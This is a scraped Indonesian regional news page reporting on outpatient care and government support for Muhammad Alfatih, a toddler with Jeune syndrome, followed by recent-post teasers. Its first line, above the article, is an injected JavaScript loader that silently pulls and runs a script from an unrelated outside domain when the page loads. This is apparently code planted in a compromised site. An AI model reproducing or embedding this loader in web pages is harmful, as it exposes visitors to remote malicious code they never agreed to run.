(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Rawat Jalan di Kantor Perwakilan, Seminggu Sekali Alfatih Dikunjungi Tim RSCM


MARTAPURA, Balita pengidap jeune syndrom (rongga dada sempit), Muhammad Alfatih, menjalani rawat jalan di kantor perwakilan Kabupaten Banjar di jalan Tebet Barat Darat Raya, Jakarta.
“Alhamdulillah Alfatih sudah dilakukan rawat jalan yang ditangani Rumah Sakit Cipto Mangunkusumo (RSCM), semua ini berkat pemerintah daerah dan kebijakaan Bupati Banjar,” ujar Kepala Dinas Kesehatan Kabupaten Banjar Ikhwansyah.
Meski kondisinya berangsur membaik, anak laki-laki warga Mataraman, Kabupaten Banjar itu, masih membutuhkan penanganan medis berkelanjutan. Apalagi sejak beberapa pekan silam bocah laki-laki itu sempat terserang diare. Bahkan hingga saat ini kadang Alfatih masih kerap buang air besar (BAB) berlebihan.
“Sebenarnya yang bersangkutan masih belum dikatakan sehat sepenuhnya, sehingga perlu perawatan khusus, jadi tim RSCM satu minggu sekali akan melakukan kunjungan ke kantor perwakilan Kabupaten Banjar,” akunya.

Balita pengidap jeune syndrom (rongga dada sempit), Muhammad Alfatih

Hingga sekarang Pemkab Banjar, terus berupaya memfasilitasi pengobatan Alfatih. Termasuk dalam pendanaan, kini sedang diupayakan menghimpun bantuan dari pihak ketiga. Perhatian besar terhadap Alfatif juga ditunjukkan langsung orang nomor satu di Kabupaten Banjar H Khalilurrahman.
“Untuk fasilitas balita sejak 11 Desember 2017 tersebut sudah terjamin, namun hingga sekarang masih terus dibantu oleh pemerintah Kabupaten Banjar,” pungkasnya.
Seperti telah diwartakan Kanal Kalimantan beberapa waktu lalu, pihak manajemen RSCM melakukan pelatihan khusus terhadap orang tua Alfatih, mengenai tindakan pertolongan pertama pada kecelakaan (P3K).
Alfatih telah mejalani penanganan medis secara intensif di RSCM sejak 20 Mei 2018 lalu. Perawatan Alfatih masih cukup lama karena penyakit yang diidap adalah penyakit langka yang memerlukan penanganan khusus.
Selama itu pula Pemkab Banjar membantu biaya hidup orang tua Alfatih di Jakarta. Dinkes Banjar beberapa bulan lalu juga menginisiasi penggalangan dana kemanusiaan untuk pembelian ventilator seharga Rp 200 juta. Langkah ini dilakukan karena aturan pengelolaan keuangan tak memungkinkan untuk menyalurkan dana hibah dalam jumlah besar. (rendy)

Reporter:Rendy
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

57 menit ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

1 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

3 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

5 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

7 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

8 jam ago

This website uses cookies.